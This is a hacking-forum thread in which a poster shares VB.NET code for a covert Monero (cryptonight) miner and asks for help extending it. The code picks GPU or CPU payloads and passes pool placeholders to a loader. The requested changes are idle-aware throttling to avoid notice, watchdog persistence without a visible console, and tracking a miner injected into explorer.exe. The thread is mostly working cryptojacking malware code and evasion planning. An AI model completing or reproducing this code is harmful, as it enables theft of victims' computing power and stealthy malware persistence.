

Forum:[Hack Forums](#)

Thread: [Idle check](#)

taleoftwocities - January 9, 2019, 12:21 pm

Hey guys, can anyone help me with this? :D

I added Gigajews code as class to project:

```
Code Imports System
```

```
Imports System.Drawing
```

```
Imports System.Runtime.InteropServices
```

```
Imports System.Text
```

```
Public Class User
```

```
    Private Const V As Integer = &H80000000
```

```
    Public Shared ReadOnly Property Name As String
```

```
        Get
```

```
            Return Environment.UserName
```

```
        End Get
```

```
    End Property
```

```
    Public Shared ReadOnly Property ComputerName As String
```

```
        Get
```

```
            Return Environment.MachineName
```

```
        End Get
```

```
    End Property
```

```
    Public Shared ReadOnly Property Avatar As Image
```

```
        Get
```

```
            Return Image.FromFile(GetAvatarPath(Name))
```

```
        End Get
```

```
    End Property
```

```
    Public Shared ReadOnly Property Idle As Boolean
```

```
        Get
```

```
            Return GetTimeSinceLastInput().TotalMinutes >= 1
```

```
        End Get
```

```
    End Property
```

```
    Public Shared Function GetTimeSinceLastInput() As TimeSpan
```

```
        Return TimeSpan.FromMilliseconds(GetMillisecondsSinceLastInput())
```

```
    End Function
```

```
    Public Shared Function GetMillisecondsSinceLastInput() As Integer
```

```
        Dim info = New LASTINPUTINFO()
```

```
        info.cbSize = CUInt(Marshal.SizeOf(info))
```

```
        GetLastInputInfo(info)
```

```
        Dim ticks = Environment.TickCount
```

```
Return ticks - info.dwTime
End Function
```

```
Public Shared Function GetAvatarPath(ByVal username As String) As String
    Dim sb = New StringBuilder(1000)
    GetUserTilePath(username, V, sb, sb.Capacity)
    Return sb.ToString()
End Function
```

```
<DllImport("user32.dll")>
Private Shared Function GetLastInputInfo(ByRef info As LASTINPUTINFO) As IntPtr

End Function
<DllImport("shell32.dll", EntryPoint:="#261", CharSet:=CharSet.Unicode, PreserveSig:=False)>
Private Shared Sub GetUserTilePath(ByVal username As String, ByVal unused As UInteger,
ByVal path As StringBuilder, ByVal length As Integer)

End Sub
End Class
```

```
<StructLayout(LayoutKind.Sequential)>
Public Structure LASTINPUTINFO
    <MarshalAs(UnmanagedType.U4)>
    Public cbSize As UInteger
    <MarshalAs(UnmanagedType.I4)>
    Public dwTime As Integer
End Structure
```

Could you help me use this class in this code below?

```
Code Public Shared Sub RunIt()
    Try
        Dim Args As String = ""
        Dim xmr As Byte() = Nothing

        If GetTheSpec.ToLower.Contains("nvidia") Then
            If IO.Directory.Exists("C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\") Then
                For Each folder As String In
IO.Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
+ "\NVIDIA GPU Computing Toolkit\CUDA")
                    If folder.Contains("v8") Then
                        Args = "--cuda-bfactor=12 --cuda-bsleep=100"
                        xmr = GetTheResource("#nvidia")
                    ElseIf folder.Contains("v9") Then
                        Args = "--cuda-bfactor=12 --cuda-bsleep=100"
                        xmr = GetTheResource("#nvidia2")
                    Else
                        Args = "-t " + CType((Environment.ProcessorCount / 2), String) + "
--max-cpu-usage=50"
                        xmr = GetTheResource("#cpu")
                    End If
                Next
            End If
        End If
```

```

Elseif GetTheSpec.ToLower.Contains("amd") Then
    Args = "--opengl-platform=0 --opengl-devices=0 --opengl-launch=1600x8,1600x8,1600x8"
    xmr = GetTheResource("#amd")
Else
    Args = "-t " + CType((Environment.ProcessorCount / 2), String) + " --max-cpu-usage=50"
    xmr = GetTheResource("#cpu")
End If

```

```

        GetTheLoad(GetTheResource("#dll"), "-B --donate-level=1 -a cryptonight --url=#URL -u
#USER -p #PWD -R --variant=-1 " + Args, xmr)
    Catch ex As Exception
    End Try
End Sub

```

I was thinking about something like this:

```

    Changing this -->      { mine.constantly at 50% CPU/GPU}
                        into
    {mine.if.IDLE at 90% CPU/GPU
      mine.if.ACTIVE at 20% CPU/GPU}

```

Can i create If ... then... end if, using user.IDLE?

And will it work after execution? While runtime? I mean, how to code it so it will change everytime when user.IDLE changes value after exe is already executed?

Thanks ?

Ok, i tested something and got this:

```

Class User
Code Imports System
Imports System.Drawing
Imports System.Runtime.InteropServices
Imports System.Text

```

```

Public Class User
    Private Const V As Integer = &H80000000

    Public Shared ReadOnly Property Name As String
        Get
            Return Environment.UserName
        End Get
    End Property

```

```

    Public Shared ReadOnly Property ComputerName As String
        Get
            Return Environment.MachineName
        End Get
    End Property

```

```

Public Shared ReadOnly Property Idle As Boolean
    Get
        Return GetTimeSinceLastInput().TotalMinutes >= 1
    End Get
End Property

```

```

Public Shared Function GetTimeSinceLastInput() As TimeSpan
    Return TimeSpan.FromMilliseconds(GetMillisecondsSinceLastInput())
End Function

```

```

Public Shared Function GetMillisecondsSinceLastInput() As Integer
    Dim info = New LASTINPUTINFO()
    info.cbSize = CUInt(Marshal.SizeOf(info))
    GetLastInputInfo(info)
    Dim ticks = Environment.TickCount
    Return ticks - info.dwTime
End Function

```

```

<DllImport("user32.dll")>
Private Shared Function GetLastInputInfo(ByRef info As LASTINPUTINFO) As IntPtr

```

```

End Function
<DllImport("shell32.dll", EntryPoint:="#261", CharSet:=CharSet.Unicode, PreserveSig:=False)>
Private Shared Sub GetUserTilePath(ByVal username As String, ByVal unused As UInteger,
ByVal path As StringBuilder, ByVal length As Integer)

```

```

End Sub

```

```

End Class

```

```

<StructLayout(LayoutKind.Sequential)>
Public Structure LASTINPUTINFO
    <MarshalAs(UnmanagedType.U4)>
    Public cbSize As UInteger
    <MarshalAs(UnmanagedType.I4)>
    Public dwTime As Integer
End Structure

```

```

Module1 to test if Idle is working
Code Module Module1

```

```

Sub Main()
    System.Threading.Thread.Sleep(62000)
    If User.Idle = True Then
        Console.WriteLine("play some games, man")
    Else Console.WriteLine("go ride a bike or sth u twat :/")
    End If
    Console.Write("...")
    Console.ReadKey(True)

```

```

End Sub

```

```

End Module

```

And it worked. Now i need to add this Class User to Project, and use it in similar way right?

taleoftwocities - January 11, 2019, 6:22 am

You guys are so helpful :D

anyway, i couldn't figure out how to modify this code above :/
so i found simple watchdog in C#

pastebin.com/r63dFBm6

Pastebin instead of code due to HF firewall

And now, i have 2 questions:

1. If my exe is being injected into another process (explorer.exe), do i setup watchdog to watch over explorer.exe? how will i know which explorer.exe is the one with injected code?

2. I tried to set Watchdog to work in background but still its bringing up CMD.

?